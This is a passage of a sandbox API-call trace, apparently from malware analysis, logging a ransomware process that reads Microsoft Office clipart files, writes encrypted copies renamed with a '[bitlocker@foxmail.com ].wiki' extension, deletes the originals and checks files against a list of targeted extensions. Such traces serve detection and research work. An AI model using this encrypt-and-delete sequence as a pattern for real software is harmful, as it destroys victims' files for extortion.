Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0191.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.480] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.480] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.481] GetLastError () returned 0x0 [0191.481] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x62b1, lpOverlapped=0x0) returned 1 [0191.669] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x62c0, lpOverlapped=0x0) returned 1 [0191.671] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.671] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.671] SetEndOfFile (hFile=0x1e0) returned 1 [0191.671] CloseHandle (hObject=0x1e0) returned 1 [0191.671] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.671] SetEndOfFile (hFile=0x1f8) returned 1 [0191.672] CloseHandle (hObject=0x1f8) returned 1 [0191.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0191.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.672] lstrlenW (lpString=".doc") returned 4 [0191.672] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.672] lstrlenW (lpString=".docx") returned 5 [0191.672] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0191.672] lstrlenW (lpString=".pdf") returned 4 [0191.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString=".xls") returned 4 [0191.673] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString=".xlsx") returned 5 [0191.673] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0191.673] lstrlenW (lpString=".ppt") returned 4 [0191.673] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString=".zip") returned 4 [0191.673] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString=".rar") returned 4 [0191.673] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString=".bz2") returned 4 [0191.673] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.673] lstrlenW (lpString=".7z") returned 3 [0191.673] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString=".dbf") returned 4 [0191.673] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString=".1cd") returned 4 [0191.673] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString=".jpg") returned 4 [0191.673] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.673] lstrlenW (lpString=".doc") returned 4 [0191.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.673] lstrlenW (lpString=".docx") returned 5 [0191.673] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0191.674] lstrlenW (lpString=".pdf") returned 4 [0191.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.674] lstrlenW (lpString=".xls") returned 4 [0191.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.674] lstrlenW (lpString=".xlsx") returned 5 [0191.674] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0191.674] lstrlenW (lpString=".ppt") returned 4 [0191.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.674] lstrlenW (lpString=".zip") returned 4 [0191.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.674] lstrlenW (lpString=".rar") returned 4 [0191.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.674] lstrlenW (lpString=".bz2") returned 4 [0191.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.674] lstrlenW (lpString=".7z") returned 3 [0191.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.674] lstrlenW (lpString=".dbf") returned 4 [0191.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.674] lstrlenW (lpString=".1cd") returned 4 [0191.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0191.674] lstrlenW (lpString=".jpg") returned 4 [0191.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.674] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.675] lstrlenW (lpString="J0099195.GIF") returned 12 [0191.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.675] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19923) returned 1 [0191.675] CloseHandle (hObject=0x1f8) returned 1 [0191.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0191.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.676] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.676] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.676] GetLastError () returned 0x0 [0191.676] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0191.906] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4de0, lpOverlapped=0x0) returned 1 [0192.125] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.125] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.125] SetEndOfFile (hFile=0x1e0) returned 1 [0192.703] CloseHandle (hObject=0x1e0) returned 1 [0192.703] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.703] SetEndOfFile (hFile=0x1f8) returned 1 [0192.771] CloseHandle (hObject=0x1f8) returned 1 [0192.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0192.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.772] lstrlenW (lpString=".doc") returned 4 [0192.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0192.772] lstrlenW (lpString=".docx") returned 5 [0192.772] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0192.772] lstrlenW (lpString=".pdf") returned 4 [0192.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.772] lstrlenW (lpString=".xls") returned 4 [0192.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.772] lstrlenW (lpString=".xlsx") returned 5 [0192.772] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0192.772] lstrlenW (lpString=".ppt") returned 4 [0192.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.772] lstrlenW (lpString=".zip") returned 4 [0192.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.772] lstrlenW (lpString=".rar") returned 4 [0192.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.773] lstrlenW (lpString=".bz2") returned 4 [0192.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.773] lstrlenW (lpString=".7z") returned 3 [0192.773] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString=".dbf") returned 4 [0192.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString=".1cd") returned 4 [0192.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString=".jpg") returned 4 [0192.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString=".doc") returned 4 [0192.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0192.773] lstrlenW (lpString=".docx") returned 5 [0192.773] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0192.773] lstrlenW (lpString=".pdf") returned 4 [0192.773] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.773] lstrlenW (lpString=".xls") returned 4 [0192.773] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.773] lstrlenW (lpString=".xlsx") returned 5 [0192.773] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0192.773] lstrlenW (lpString=".ppt") returned 4 [0192.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.773] lstrlenW (lpString=".zip") returned 4 [0192.774] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.774] lstrlenW (lpString=".rar") returned 4 [0192.774] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.774] lstrlenW (lpString=".bz2") returned 4 [0192.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.774] lstrlenW (lpString=".7z") returned 3 [0192.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.774] lstrlenW (lpString=".dbf") returned 4 [0192.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.774] lstrlenW (lpString=".1cd") returned 4 [0192.774] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0192.774] lstrlenW (lpString=".jpg") returned 4 [0192.774] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.774] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.774] lstrlenW (lpString="J0101859.BMP") returned 12 [0192.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.775] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=31968) returned 1 [0192.775] CloseHandle (hObject=0x1f8) returned 1 [0192.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0192.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.775] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.775] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0192.776] GetLastError () returned 0x0 [0192.776] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.819] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0192.822] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.822] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.822] SetEndOfFile (hFile=0x1f0) returned 1 [0192.822] CloseHandle (hObject=0x1f0) returned 1 [0192.822] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.822] SetEndOfFile (hFile=0x1f8) returned 1 [0192.823] CloseHandle (hObject=0x1f8) returned 1 [0192.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0192.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.824] lstrlenW (lpString=".doc") returned 4 [0192.824] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.824] lstrlenW (lpString=".docx") returned 5 [0192.824] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0192.824] lstrlenW (lpString=".pdf") returned 4 [0192.824] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.824] lstrlenW (lpString=".xls") returned 4 [0192.824] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString=".xlsx") returned 5 [0192.825] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0192.825] lstrlenW (lpString=".ppt") returned 4 [0192.825] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString=".zip") returned 4 [0192.825] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString=".rar") returned 4 [0192.825] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString=".bz2") returned 4 [0192.825] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString=".7z") returned 3 [0192.825] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString=".dbf") returned 4 [0192.825] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString=".1cd") returned 4 [0192.825] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString=".jpg") returned 4 [0192.825] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.825] lstrlenW (lpString=".doc") returned 4 [0192.825] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".docx") returned 5 [0192.826] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0192.826] lstrlenW (lpString=".pdf") returned 4 [0192.826] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".xls") returned 4 [0192.826] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".xlsx") returned 5 [0192.826] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0192.826] lstrlenW (lpString=".ppt") returned 4 [0192.826] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.826] lstrlenW (lpString=".zip") returned 4 [0192.826] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".rar") returned 4 [0192.826] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".bz2") returned 4 [0192.826] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString=".7z") returned 3 [0192.826] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.826] lstrlenW (lpString=".dbf") returned 4 [0192.826] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.826] lstrlenW (lpString=".1cd") returned 4 [0192.826] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0192.826] lstrlenW (lpString=".jpg") returned 4 [0192.826] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.827] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.827] lstrlenW (lpString="J0101860.BMP") returned 12 [0192.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.827] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0192.827] CloseHandle (hObject=0x1f8) returned 1 [0192.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0192.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 